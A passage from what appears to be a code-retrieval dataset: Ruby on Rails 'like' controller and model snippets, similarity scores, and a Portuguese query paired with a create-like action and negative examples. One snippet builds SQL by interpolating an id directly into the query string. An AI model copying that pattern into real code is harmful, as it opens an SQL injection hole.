"def get_likes media_id\n url = API + \"media/#{media_id}/likes?access_token=\" + @access_token\n get(url)['data'].map {|data| data}\n end",
"def like\n tweet = Tweet.find(params[:tweet_id]) #id del tweet\n flash[:notice] = \"NO puedes dar dos likes sobre el mismo tweet\" if tweet.likes.pluck(:user_id).include? (current_user.id)\n new_like = Like.create(tweet: tweet, user: current_user)#nos permite crear el like\n redirect_to root_path #redirecciona al index\n end",
"def like_params\n params.require(:like).permit(:user_id, :post_id)\n end",
"def like\n @post = Post.find(params[:post_id])\n @comment = @post.comments.find(params[:id])\n\n if current_user.already_dislikes?(@comment,'Comment')\n like = current_user.likes.where(likeble_id: @comment.id ,\n user_id: current_user.id ,likeble_type: 'Comment').first\n like.like_status = true\n like.save\n redirect_to new_post_comment_path(@post)\n else\n if current_user.already_likes?(@comment ,'Comment')\n redirect_to new_post_comment_path(@post)\n else\n like = @comment.likes.create()\n like.user_id = current_user.id\n like.like_status = true\n like.save\n redirect_to new_post_comment_path(@post) \n end\n end\n end",
"def likepost_params\n params.require(:likepost).permit(:user_id, :post_id)\n end",
"def likes\n query = \"SELECT COUNT(*) AS num_likes FROM likes WHERE post_id = #{id}\"\n result = DATABASE.execute(query)[0]\n return result[\"num_likes\"]\n end",
"def like_status(post_id)\n post = Post.where(:id => post_id).first\n count = \"<span class='badge badge-success'> #{post.get_likes_count}  </span>\".html_safe\n post.is_like?(current_user.id) ? count+\" UnLike\" : count+\" Like\" if current_user.present?\n end",
"def show\n @post_like = PostLike.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post_like }\n end\n end",
"def liked?(post)\n logged_in? &&\n current_user.likes.where(post_id: post.id).any?\n end",
"def set_dislike\n post = Post.find(params[:post_id])\n @dislike = post.dislikes.find(params[:id])\n end",
"def set_user_post_like\n @user_post_like = UserPostLike.find(params[:id])\n end",
"def create\n if params[:post_id].present? && Post.find_by_id(params[:post_id].to_i)\n like = Like.new(post_id: params[:post_id].to_i, user_id: @user.id)\n if like.save\n render json: { message: \"Post has been liked successfully..!\" }, status: 200\n else\n render json: { errors: like.errors.messages }, status: 400\n end\n else\n render json: { message: \"Post id invalid or empty..!\" }, status: 400\n end\n rescue StandardError => e\n render json: { message: \"Error: Something went wrong... \" }, status: :bad_request\n end",
"def liked_post?(post)\n liked_posts.include? post\n end",
"def liked_by_user?\n\t\tLike.where(user_id: current_user.id, post_id:\n\t \tparams[:post_id]).exists?\n\tend",
"def like_params\n params.permit(:totalLikes, :user_id, :post_id)\n end",
"def likes(options={})\n likes = post(\"/v2/user/likes\", options)\n\n likes.body[\"response\"][\"liked_posts\"].map do |post|\n TumblrV2Api::Post.new(post)\n end\n end",
"def liked_post_params\n params.require(:liked_post).permit(:title, :topic, :content, :likes, :user_id, :post_id)\n end",
"def update\n @post =Post.find(params[:post_id])\n @liked_post = @post.liked_posts.build(liked_post_params)\n @liked_post.user_id = current_user.id\n\n respond_to do |format|\n if @liked_post.update(liked_post_params)\n format.html { redirect_to @liked_post, notice: 'Like was successfully updated.' }\n format.json { render :show, status: :ok, location: @liked_post }\n else\n format.html { render :edit }\n format.json { render json: @liked_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_liked?(post)\n find_like(post).any?\n end",
"def liked_posts\n liked_posts_ids.count < 1 ? [] : Post.where('id IN (?)', liked_posts_ids)\n end",
"def show\n @likes = Like.where(tweet_id: @tweet)\n end",
"def like\n like = API.like(params[:id], params[:access_token], params[:token_secret])\n if like['photo'].nil?\n render :json => like\n else\n render :json => {success: true}\n end\n end",
"def liked_posts_ids\n post_ids = Like.where(user_id: self.id).pluck(:post_id)\n end",
"def show\n @post = Post.find params[:id]\n @like = @post.like_for(current_user)\n @comment = Comment.new\n end",
"def object_likes(uid, options = {})\n fetch_all = options.delete(:fetch_all)\n\n params = { \n :owner_id => user.identifier,\n :count => 1000, \n :type => \"post\", \n :item_id => uid,\n :offset => 0\n }\n params.merge!(options)\n \n if fetch_all\n return fetch_all_method_items(\"likes.getList\", params)\n end\n\n\n user.likes.getList(params)\n end",
"def post_like_params\n params.require(:post_like).permit(:postable_id, :count)\n end",
"def like\n @eventpostcomment.liked_by current_user\n redirect_to @urltoredirect\n end",
"def create\n\t\tif already_liked?\n\t\t\tflash[:notice] = \"you can't like more than once\"\n\t\telse\n\t\t\t\n\t\t\t@like = @post.likes.create(:user_id => current_user.id)\n\t\tend\n\t\tredirect_to post_path(@post)\n\t\t\n\tend",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def likes\n @likes ||= raw[\"tumblr\"][\"posts\"][\"post\"].collect do |raw_like|\n if raw_like[\"type\"] == \"regular\"\n title = raw_like[\"regular_title\"]\n body = raw_like[\"regular_body\"]\n type = \"text\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"quote\"\n title = raw_like[\"quote_text\"]\n body = raw_like[\"quote_source\"]\n type = \"text\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"photo\"\n title = raw_like[\"photo_caption\"]\n body = raw_like[\"photo_caption\"]\n type = \"photo\"\n photo_url = raw_like[\"photo_url\"].last\n elsif raw_like[\"type\"] == \"link\"\n title = raw_like[\"link_text\"]\n body = raw_like[\"link_description\"]\n type = \"text\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"conversation\"\n title = raw_like[\"conversation_title\"]\n body = raw_like[\"conversation_text\"]\n type = \"text\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"video\"\n title = raw_like[\"video_caption\"]\n body = raw_like[\"video_player\"]\n type = \"video\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"audio\"\n title = raw_like[\"audio_caption\"]\n body = raw_like[\"audio_player\"]\n type = \"audio\"\n photo_url = nil\n end\n\n Butterfly::Like.new({\n :service => \"tumblr\",\n :id => raw_like[\"id\"],\n :title => title,\n :description => body,\n :created_at => Time.at(raw_like[\"unix_timestamp\"].to_i),\n :liked_at => nil,\n :tags => raw_like[\"tag\"],\n :photo_url => photo_url,\n :url => raw_like[\"url_with_slug\"],\n :type => type,\n :user => Butterfly::User.new({\n :id => raw_like[\"tumblelog\"],\n :username => raw_like[\"tumblelog\"],\n :name => raw_like[\"tumblelog\"],\n :service_url => \"#{raw_like[\"tumblelog\"]}.tumblr.com\",\n :photo_url => nil,\n :website_url => nil,\n :location => nil,\n })\n })\n end\n end",
"def set_liked_post\n @liked_post = LikedPost.find(params[:id])\n end",
"def set_liked_post\n @liked_post = LikedPost.find(params[:id])\n end",
"def liked\n get '/users/self/media/liked', auth_params\n end",
"def like\n @id = params[:id]\n if photo_service.like(@id)\n Like.find_or_create_by(user_id: session[:uid], photo_id: @id)\n end\n respond_to do |format|\n format.html { redirect_to root_path }\n format.js {}\n end\n end",
"def show\n @tweet = Tweet.find(params[:id]) #Encontramos el tweet segun el ID\n @tweet_likes = @tweet.likes #Creamos la variable para mostrar los usuarios que le dieron el like\n end",
"def like!(options = {})\n post(options.merge(:connection => :likes))\n end",
"def moment_likes(moment_id)\n get(\"/v1/moments/#{moment_id}/likes\")\n end",
"def index\n @likes = Like.where(tweet_id: params[:tweet_id])\n @tweets = Tweet.paginate(page: params[:page], per_page: 10)\n end",
"def index\n @posts = Post.page(params[:page]).order('created_at desc')\n users = User.where 'account_id == ?', current_account.id\n if users[0] == nil then\n user = User.new\n user.account_id = current_account.id\n user.sitename = '<< no name >>'\n user.save\n users = User.where 'account_id == ?', current_account.id\n end\n @user = users[0]\n @post = Post.new\n @post.user_id = @user.id\n #@like = current_user.likes.find_by(post_id: @post.id) if user_signed_in?\n @like = current_account.likes.find_by(post_id: @post.id)\n @likes_count = Like.where(post_id: @post.id).count\n end",
"def user_can_like(user_id)\n\t\t# self makes an object of Post class and tells if a user with user_id: as passed in the function, has a like on this post(like.length == 1)\n\t\tif self.likes.where(user_id: user_id).length == 1\n\t\t\treturn false\n\t\tend\n\n\t\treturn true\n\tend",
"def like\n if @vote\n authorize! :like, @vote\n @vote.like\n else \n authorize! :create_vote, @votable.votes.new\n @votable.votes.create(user: current_user, nominal: 'like')\n end\n\n rating_respond_with_json\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def liked_post_params\n params.require(:liked_post).permit(:positive, :creation_date, :post_id, :user_id)\n end",
"def dislike\n @post = Post.find(params[:post_id])\n @comment = @post.comments.find(params[:id])\n\n\n if current_user.already_likes?(@comment,'Comment')\n like = current_user.likes.where(likeble_id: @comment.id ,\n user_id: current_user.id,likeble_type: 'Comment').first\n like.like_status = false\n like.save\n redirect_to new_post_comment_path(@post)\n else\n if current_user.already_dislikes?(@comment ,'Comment')\n redirect_to new_post_comment_path(@post)\n else\n like = @comment.likes.create()\n like.user_id = current_user.id\n like.like_status = false\n like.save\n redirect_to new_post_comment_path(@post) \n end\n end\n end",
"def destroy\n current_user.likes.find(params[:id]).destroy\n redirect_to posts_path\n end",
"def blog_likes(blog_name, options = {})\n validate_options([:limit, :offset, :before, :after], options)\n url = blog_path(blog_name, 'likes')\n\n params = { :api_key => @consumer_key }\n params.merge! options\n get(url, params)\n end",
"def get_likes(id, type)\r\n\t\treturn Like.where(user_id: self.id, likeable_type: type, likeable_id: id)\r\n\tend",
"def increase_post_likes_counter\n Post.find(self.post_id).increment(:total_likes_count).save\n end",
"def venue_likes(id)\n get(\"venues/#{id}/likes\").likes\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def fb_likes_url(access_token)\n \"https://graph.facebook.com/#{self.fb_object_id}?\" \\\n \"access_token=#{access_token}&fields=id,likes&\" \\\n \"likes.limit=50\"\n end",
"def likes\n Like.where(target_id:self.id, target_type:'comment')\n end",
"def blog_likes(blog_name, options = {})\n validate_options([:limit, :offset], options)\n url = \"v2/blog/#{blog_name}/likes\"\n\n params = { :api_key => @consumer_key }\n params.merge! options\n get(url, params)\n end",
"def likes( params={} )\n likes = get_connections(\"likes\", params)\n return map_connections likes, :to => Facebook::Graph::Like\n end",
"def likes_params\n params.require(:likes).permit(:user_id, :tweet_id)\n end",
"def index\n #@new_post = Post.new\n @posts = Post.where(approved: true).order('created_at DESC').includes(:likes)\n end",
"def comment_params\n params.require(:like).permit(:user_id, :post_id)\n end",
"def likes_given(user_id)\n likes = Like.where(user_id: user_id)\n end"
] |
[
"0.8234097",
"0.80984473",
"0.78978914",
"0.7893642",
"0.77559596",
"0.7590796",
"0.7499532",
"0.7495343",
"0.7479169",
"0.7467275",
"0.7420498",
"0.7377292",
"0.7176533",
"0.7163907",
"0.7161006",
"0.7128411",
"0.7097083",
"0.7084104",
"0.7073139",
"0.706473",
"0.7061988",
"0.705878",
"0.6995099",
"0.6989236",
"0.6984773",
"0.6958937",
"0.6954668",
"0.69480294",
"0.69332725",
"0.692169",
"0.6908123",
"0.69069964",
"0.69022447",
"0.68994105",
"0.6883474",
"0.6882457",
"0.6860357",
"0.6836826",
"0.68317187",
"0.6819455",
"0.6818201",
"0.68091965",
"0.6779397",
"0.6772233",
"0.6763347",
"0.676244",
"0.67545235",
"0.67221415",
"0.67037684",
"0.6695686",
"0.6686835",
"0.6665017",
"0.66434044",
"0.66316116",
"0.6582825",
"0.65788424",
"0.6569692",
"0.6565372",
"0.6554833",
"0.6551784",
"0.655084",
"0.65503985",
"0.65503985",
"0.65503985",
"0.6520947",
"0.65059227",
"0.65059227",
"0.6504347",
"0.65042603",
"0.65023285",
"0.6479096",
"0.6476761",
"0.6476061",
"0.64672947",
"0.64655656",
"0.64597404",
"0.6436878",
"0.6436878",
"0.6436878",
"0.6436878",
"0.6436878",
"0.6436878",
"0.6436878",
"0.6436878",
"0.64271986",
"0.6407498",
"0.64035344",
"0.6397905",
"0.6390916",
"0.6389663",
"0.6365332",
"0.6357943",
"0.63473153",
"0.6344219",
"0.63436544",
"0.6319912",
"0.631285",
"0.6295481",
"0.62934256",
"0.6276364"
] |
0.67525333
|
47
|
POST /likes Cria uma novo like
|
def create
@like = Like.new(like_params)
if @like.save
render json: @like, status: 201
else
render json: @like.errors, status: 422
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @todo_like = Todo::Like.new(todo_like_params)\n @todo_user.likes << @todo_like\n\n if @todo_like.save\n render :show, status: :created\n else\n render_error @todo_like, status: :unprocessable_entity\n end\n end",
"def create_likes\n end",
"def create_likes\n end",
"def create_likes\n end",
"def create\n\t\tif already_liked?\n\t\t\tflash[:notice] = \"you can't like more than once\"\n\t\telse\n\t\t\t\n\t\t\t@like = @post.likes.create(:user_id => current_user.id)\n\t\tend\n\t\tredirect_to post_path(@post)\n\t\t\n\tend",
"def create\n @like = Like.new(like_params)\n @like.user = current_user\n\n respond_to do |format|\n if @like.save\n format.html{ redirect_to @like.likable }\n format.json{ render :show, status: :created, location: @like }\n else\n format.html{ redirect_to @like.likable, notice: @like.errors.messages.values.flatten.join(', ') }\n format.json{ render json: @like.errors, status: :unprocessable_entity }\n end\n end\n end",
"def like\n if @vote\n authorize! :like, @vote\n @vote.like\n else \n authorize! :create_vote, @votable.votes.new\n @votable.votes.create(user: current_user, nominal: 'like')\n end\n\n rating_respond_with_json\n end",
"def like\n if params[:post_id]\n likeable = Comment.find(params[:id])\n what = \"Comment\"\n else\n likeable = Post.find(params[:id])\n what = \"Post\"\n end\n like = likeable.likes.where(:user_id => current_user.id).first || Like.new\n unless like.id\n like.likeable = likeable\n like.user = current_user\n like.save\n redirect_to back_page_post, flash: { :success => what + ' was liked.' }\n else\n like.destroy\n redirect_to back_page_post, flash: { :success => what + ' was unliked.' }\n end\n end",
"def create\n @like = Like.new(like_params)\n\n respond_to do |format|\n if @like.save\n format.json { render json: @like, status: :created }\n else\n format.json { render json: @like.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @like = Like.new(like_params)\n\n respond_to do |format|\n if @like.save\n format.html { redirect_to @like, notice: 'Like was successfully created.' }\n format.json { render :show, status: :created, location: @like }\n else\n format.html { render :new }\n format.json { render json: @like.errors, status: :unprocessable_entity }\n end\n end\n end",
"def like\n \t\t@likes = Like.first\n \t\t@likes.increment(:counter)\n \t\t@likes.save\n \t\tredirect_to '/'\n \tend",
"def like!(options = {})\n post(options.merge(:connection => :likes))\n end",
"def like\n tweet = Tweet.find(params[:tweet_id]) #id del tweet\n flash[:notice] = \"NO puedes dar dos likes sobre el mismo tweet\" if tweet.likes.pluck(:user_id).include? (current_user.id)\n new_like = Like.create(tweet: tweet, user: current_user)#nos permite crear el like\n redirect_to root_path #redirecciona al index\n end",
"def add_like\n post = Post.find(params[:id])\n post.add_like\n render nothing: true\n end",
"def like!\n connection.post(\"/photos/#{id}/like\")\n true\n end",
"def set_postlike\n @likes = Like.where(post_id: params[:post_id])\n end",
"def like(user)\n likes.create(user: user)\n end",
"def set_likes\n @likes = likes.find(params[:id])\n end",
"def setLike(value)\n @likes = value\n end",
"def like_post!(post)\n likes.create!(epost_id: post.id, like: 1)\n end",
"def create\n @post_like = PostLike.new(post_like_params)\n\n respond_to do |format|\n if @post_like.save\n format.html { redirect_to @post_like, notice: 'Post like was successfully created.' }\n format.json { render :show, status: :created, location: @post_like }\n else\n format.html { render :new }\n format.json { render json: @post_like.errors, status: :unprocessable_entity }\n end\n end\n end",
"def like(user)\n likes << Like.new(user: user)\n end",
"def create\n @like = @likable.likes.build(liker_id: current_user.id )\n\n respond_to do |format|\n if @like.save\n format.js {}\n else\n flash[:error] = \"Whoops, we didn't get that like saved. Try again.\"\n format.js { }\n end\n\n format.html { redirect_back(fallback_location: current_user ) }\n end\n end",
"def create\n like = Like.like(current_user, @resource)\n p 'the like was not saved' unless like\n redirect_to root_url\n end",
"def new\n\t\t@like = current_user.likes.new\n\tend",
"def likes_params\n params.require(:likes).permit(:user_id, :tweet_id)\n end",
"def create\n\t\tif @like.save\n\t\t\tflash[:success] = \"Liked!\"\n\t\telse\n\t\t\tflash[:error] = \"Error! Unable to like!\"\n\t\tend\n\n\t\tredirect_to :back\n\tend",
"def create #Metodo para crear los like\n tweet = Tweet.find(params[:tweet_id])#Busca el id del tweet\n new_like = Like.create!(tweet: tweet, user:current_user) #En la variable se almacena el like segun el usuario conectado\n redirect_to root_path#Luego de la acción anterior, que se te envia al home\n end",
"def create\n @like = @movie.likes.new(like_params)\n initialize_like\n if @like.save\n flash[:notice] = \"Added like to #{@movie.title}.\"\n else\n flash[:danger] = 'Failed to add new like.'\n end\n redirect_to @movie\n end",
"def like_article\n @article = Article.find(params[:article_id])\n @like = Like.new(like_params)\n @like.article = @article\n @like.save\n \n end",
"def like_params\n params.require(:like).permit(:id, :user_id, :post_id)\n end",
"def likes_params\n params.require(:like).permit(:value, :likable_id, :likable_type, :user)\n end",
"def postlikes\n render json: @likes.length, status: 200\n end",
"def like_params\n params.permit(:totalLikes, :user_id, :post_id)\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def find_like\n @like = @post.likes.find(params[:id])\n end",
"def quote_like\n @quote = set_quote\n @quote.cnt += 1\n respond_to do |format|\n if @quote.save\n #format.html { redirect_to @quote, notice: 'Quote was successfully liked.' }\n #format.json { render :show, status: :created, location: @quote }\n format.json { render json: {:data => { :quotes => @quote}, :result => { :errorcode => \"\", :messages => \"ok\", :rstatus => 1 }} }\n else\n #format.html { render :new }\n #format.json { render json: @quote.errors, status: :unprocessable_entity }\n format.json { render json: { :result => { :errorcode => \"\", :messages => @quote.errors, :rstatus => 0 }} }\n end\n end\n end",
"def quote_like\n @quote = set_quote\n @quote.cnt += 1\n respond_to do |format|\n if @quote.save\n #format.html { redirect_to @quote, notice: 'Quote was successfully liked.' }\n #format.json { render :show, status: :created, location: @quote }\n format.json { render json: {:data => { :quotes => @quote}, :result => { :errorcode => \"\", :messages => \"ok\", :rstatus => 1 }} }\n else\n #format.html { render :new }\n #format.json { render json: @quote.errors, status: :unprocessable_entity }\n format.json { render json: { :result => { :errorcode => \"\", :messages => @quote.errors, :rstatus => 0 }} }\n end\n end\n end",
"def create\n @like = Like.new\n @idea = Idea.find params[:idea_id]\n\n # :idea_id because it's nested routes\n @user = current_user\n @like.idea_id = @idea.id\n # @idea which we found earlier\n @like.user = @user\n # @like.user = current_user\n # setting two columns in likes record to idea and user ids\n\n if can?(:like, @idea) && @like.save\n redirect_to root_path\n else\n flash[:alert] = \"failed to like\"\n redirect_to root_path\n end\n end",
"def create\n if params[:post_id].present? && Post.find_by_id(params[:post_id].to_i)\n like = Like.new(post_id: params[:post_id].to_i, user_id: @user.id)\n if like.save\n render json: { message: \"Post has been liked successfully..!\" }, status: 200\n else\n render json: { errors: like.errors.messages }, status: 400\n end\n else\n render json: { message: \"Post id invalid or empty..!\" }, status: 400\n end\n rescue StandardError => e\n render json: { message: \"Error: Something went wrong... \" }, status: :bad_request\n end",
"def create\n # debugger\n like = Like.new(like_params)\n\n if like.save\n render json: like\n else\n render json: like.errors.full_messages, status: 422\n end\n end",
"def like_params\n params.require(:like).permit(:author_id, :question_id, :answer_id, :like)\n end",
"def like_params\n params.require(:like).permit(:user_id, :post_id)\n end",
"def create\n like = Like.new(like_params)\n like.user_id = @authenticated_user.id\n createdLike = Like.create_or_restore(like)\n if createdLike.post.user.id != createdLike.user.id\n notification = Notification.new(\n for_user_id: createdLike.post.user.id,\n by_user_id: createdLike.user.id,\n post_id: createdLike.post.id,\n notification_type: Notification::NOTIFICATION_TYPE[:like_post],\n notification_text: createdLike.user.first_name + \" \" + createdLike.user.last_name + \" liked your post\"\n )\n notification.save\n end\n render json: Like.render_json_user(like)\n end",
"def like\n\n @like = @shoe.likes.build(user_id: current_user.id)\n if @like.save\n flash[:notice] = \"You liked this shoe!\"\n redirect_to shoes_path\n else\n flash[:notice] = \"You already liked this shoe!\"\n redirect_to shoes_path\n end\n end",
"def create\n @like = @video.likes.build(params[:like])\n @like.user_id = @user.id\n @like.video_id = @video.id\n respond_to do |format|\n if @like.save\n format.html { redirect_to([@client,@video,@like], :notice => 'like was successfully created.') }\n format.xml { render :xml => @like, :status => :created, :location => @like }\n format.json { render :json => @like.attributes, :status => :created}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @like.errors, :status => :unprocessable_entity }\n format.json { render :json => @like.attributes.merge({:errors => @like.errors}), :status => :unprocessable_entity}\n end\n end\n end",
"def add_like(like_name)\n UserLikeLinker.link_user_and_like(self, self.personality.get_new_like(like_name)) \n end",
"def like\n @dream = Dream.find(params[:id])\n @user = User.find_by_id(session[:remember_token])\n @likee = @dream.user_id\n @dream.rank +=1\n #record the like to 1. update the like btn to unlike btn, & 2. prevent repeated votes\n @like = Like.new(:user_id=>@user.id, :likee_id=>@likee, :dream_id=>params[:id])\n @like.save\n if(@dream.save! && @like.save)\n redirect_to :action=>'show', :id => @dream.id\n else\n flash.now[:error] = \"illegal input!\"\n end\n end",
"def post_like(payload, request)\n request.set_form_data(with_credentials(payload))\n\n run request\n end",
"def like\n self.likes += 1\n save\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def like\n #@recipe = Recipe.find(params[:id])\n #to like a recipe chef must be logged in as current_user(befor_action) the befor action is to log in\n like = Like.create(like: params[:like], chef: current_user, recipe:@recipe)\n if like.valid?\n flash[:success] = \"Your selection was successful\"\n redirect_to :back\n else\n flash[:danger] = \"You can only like/dislike a recipe once\"\n \n redirect_to :back\n end\n \n end",
"def like\n @topic = Topic.find(params[:topic_id])\n @post = @topic.posts.find(params[:id])\n if @post.not_liked_already?(current_user)\n @post.likes.create(user: current_user)\n redirect_to [@post.topic, @post]\n else\n @post.likes.where(user: current_user).destroy_all\n redirect_to [@post.topic, @post]\n end\n end",
"def create\n @user_post_like = UserPostLike.new(user_post_like_params)\n\n respond_to do |format|\n if @user_post_like.save\n format.html { redirect_to @user_post_like, notice: 'User post like was successfully created.' }\n format.json { render :show, status: :created, location: @user_post_like }\n else\n format.html { render :new }\n format.json { render json: @user_post_like.errors, status: :unprocessable_entity }\n end\n end\n end",
"def like!\n self.like_count = self.like_count + 1\n self.save\n logger.debug \"Song :: #{self.title} liked.\"\n end",
"def like_params\n params.require(:like).permit(:post_id)\n end",
"def create\n respond_to do |f|\n if already_liked?\n f.html {redirect_to :back, notice: \"Already liked.\"}\n else\n @post.likes.create(user_id: current_user.id)\n end\n f.html {redirect_to :back}\n end\n end",
"def comment_like(comment)\n comment_likes.create(comment_id: comment.id)\n end",
"def set_like\n @like = Like.find(params[:id])\n end",
"def like\n @post = Post.find(params[:post_id])\n @comment = @post.comments.find(params[:id])\n\n if current_user.already_dislikes?(@comment,'Comment')\n like = current_user.likes.where(likeble_id: @comment.id ,\n user_id: current_user.id ,likeble_type: 'Comment').first\n like.like_status = true\n like.save\n redirect_to new_post_comment_path(@post)\n else\n if current_user.already_likes?(@comment ,'Comment')\n redirect_to new_post_comment_path(@post)\n else\n like = @comment.likes.create()\n like.user_id = current_user.id\n like.like_status = true\n like.save\n redirect_to new_post_comment_path(@post) \n end\n end\n end",
"def like_params\n params.require(:like).permit(:likeable_id, :likeable_type, :user_id)\n end",
"def like_params\n params.require(:like).permit(:likeable_id, :likeable_type, :user_id)\n end",
"def create\n if params[:like][:user_id].to_i == current_user.id\n Like.create(like_params)\n end\n redirect_to root_url\n end",
"def create\n photo = Photo.find(params[:photo_id])\n\n @like = Like.new(user: @current_user, photo: photo)\n if Like.all.where(:photo => photo, user: @current_user).length == 0\n if @like.save\n render_json({ ok: true })\n update_photo_rating(photo)\n else\n render_json({ ok: false, errors: @like.errors })\n end\n else\n render_json({ ok: false, errors: 'already liked' })\n end\n\n end",
"def like_params\n params.permit(:id, :likable_id, :likable_type, :user_id)\n end",
"def updated_likes\n @post = Post.find_by_id(params[:id])\n @current_like = @post.likes\n @post.update(likes: (@current_like + 1))\n redirect_to post_path\n end",
"def increment_likes\n sneaker = find_sneaker\n sneaker.update(likes: sneaker.likes + 1)\n render json: sneaker\n end",
"def create\n if already_liked?\n flash[:danger] = \"You can't like more than once\"\n else\n @gossip.likes.create(user_id: current_user.id)\n end\n redirect_to gosssips_path\n\n end",
"def like\n post_id = params[:id]\n @post = Post.where(:id => post_id).first\n if current_user && @post\n if @post.is_like?(current_user.id)\n @post.unlike(current_user.id)\n render :text => \"<span class='badge badge-success'> #{@post.get_likes_count}</span> Like\" \n else\n @post.like(current_user.id)\n render :text => \"<span class='badge badge-success'> #{@post.get_likes_count}</span> UnLike\" \n end\n return\n end\n render :text => 'fail' and return\n end",
"def like_params\n params.permit(:user_id, :post_id)\n end",
"def like_params\n params.require(:like).permit(:tweet_id, :user_id)\n end",
"def create\n @c_like = CLike.new(user_id: current_user.id, comment_id: params[:comment_id])\n\n respond_to do |format|\n if @c_like.save\n format.html { redirect_to :back, notice: 'Like was successfully created.' }\n format.json { render json: {status: 'success', like: @c_like, counts: CLike.where(comment_id: @c_like.comment_id).count, liked: true} }\n else\n format.html { render :new }\n format.json { render json: @c_like.errors, status: :unprocessable_entity }\n end\n end\nend",
"def like_params\n\t params.require(:like).permit(:post_id)\n\t end",
"def create\n if Like.where(user_id: session[:user_id], idea_id: params[:id]).count < 1\n @like = Like.create(user_id: session[:user_id], idea_id: params[:id])\n else\n flash[:notice] = \"You've already liked this idea!\"\n end\n # session[:idea_id] = Idea.find(params[:id])\n @like_count = Like.where(user_id: params[:id]).all\n puts @like_count\n redirect_to '/bright_ideas'\n end",
"def create\n @user_like = UserLike.new(params[:user_like])\n\n respond_to do |format|\n if @user_like.save\n format.html { redirect_to \"/user_shares/\"+@user_like.user_shares_id.to_s, notice: 'User like was successfully created.' }\n format.json { render json: @user_like, status: :created, location: @user_like }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_like.errors, status: :unprocessable_entity }\n end\n end\n end",
"def like_params\n params.require(:like).permit(:likeable, :likeable_type, :user)\n end",
"def set_post_like\n @post_like = PostLike.find(params[:id])\n end",
"def post_like_params\n params.require(:post_like).permit(:postable_id, :count)\n end",
"def update_likes\n @wish.update(like_params)\n end",
"def create\n @dislike = current_user.dislikes.build(dislike_params)\n\n respond_to do |format|\n if @dislike.save\n format.html { redirect_to @dislike, notice: 'Dislike was successfully created.' }\n format.json { render action: 'show', status: :created, location: @dislike }\n else\n format.html { render action: 'new' }\n format.json { render json: @dislike.errors, status: :unprocessable_entity }\n end\n end\n end",
"def like\n @id = params[:id]\n if photo_service.like(@id)\n Like.find_or_create_by(user_id: session[:uid], photo_id: @id)\n end\n respond_to do |format|\n format.html { redirect_to root_path }\n format.js {}\n end\n end",
"def create\n\n @idea_like = IdeaLike.new(idea_like_params)\n @idea_like.user = current_user\n\n respond_to do |format|\n if @idea_like.save\n format.html { redirect_to @idea_like, notice: 'Idea like was successfully created.' }\n format.json { render :show, status: :created, location: @idea_like }\n else\n format.html { render :new }\n format.json { render json: @idea_like.errors, status: :unprocessable_entity }\n end\n end\n end",
"def like_params\n params.require(:like).permit(:user_id, :link_id)\n end",
"def create\n Like.create like_params\n redirect_to \"/secrets\"\n end",
"def update\n @like = Like.find(params[:id])\n if current_user.already_likes?(@like.post)\n user_likeship = UserLikeship.find_by_user_id current_user.id, conditions: ['like_id = ?', @like.id]\n user_likeship.destroy\n @like.update_attribute(:count, \"#{@like.count - 1}\")\n else\n user_likeship = UserLikeship.create( like: @like, user: current_user )\n @like.update_attribute(:count, \"#{@like.count + 1}\")\n end\n respond_to do |format|\n format.js\n format.html { redirect_to index_url, notice: 'Like was successfully updated.' }\n end\n end",
"def like\n \n Like.create( id_api: params[:id_api], user: current_user)\n render json: {text: \"create\"}\n \n \n \nend",
"def create\n unless current_user.likes.where(seek: Seek.find(params[:id])).first\n current_user.likes.create(seek: Seek.find(params[:id]))\n redirect_to \"/seeks\"\n else\n redirect_to \"/users/#{current_user.id}\"\n end\n end",
"def create\n @likeable = find_likeable\n @user = current_user\n @like = @user.likes.build(likeable: @likeable)\n #@like = Like.new(like_params)\n if @like.save\n @bloc = Bloc.find(@like.likeable_id)\n render :toggle, locals: {bloc: @bloc}\n end\n\n # if @like.save\n # if params[:whendone] == \"index\"\n # redirect_to blocs_path\n # else\n # redirect_to @likeable\n # end\n # end \n\n # if @like.save\n # redirect_to @likeable, notice: \"liked!\"\n # else\n # redirect_to @likeable, notice: \"Not liked\"\n # end\n\n # respond_to do |format|\n # if @like.save\n # format.html { redirect_to @like, notice: 'Like was successfully created.' }\n # format.json { render action: 'show', status: :created, location: @like }\n # else\n # format.html { render action: 'new' }\n # format.json { render json: @like.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def create\n\t\t@comment = Comment.find_by(id: params[:comment_id])\n\t\t@like = current_user.comment_likes.new(comment: @comment)\n\t\tif @like.save\n\t\t\trespond_to do |format|\n\t\t\t\tformat.js\n\t\t\tend\n\t\tend\n\tend",
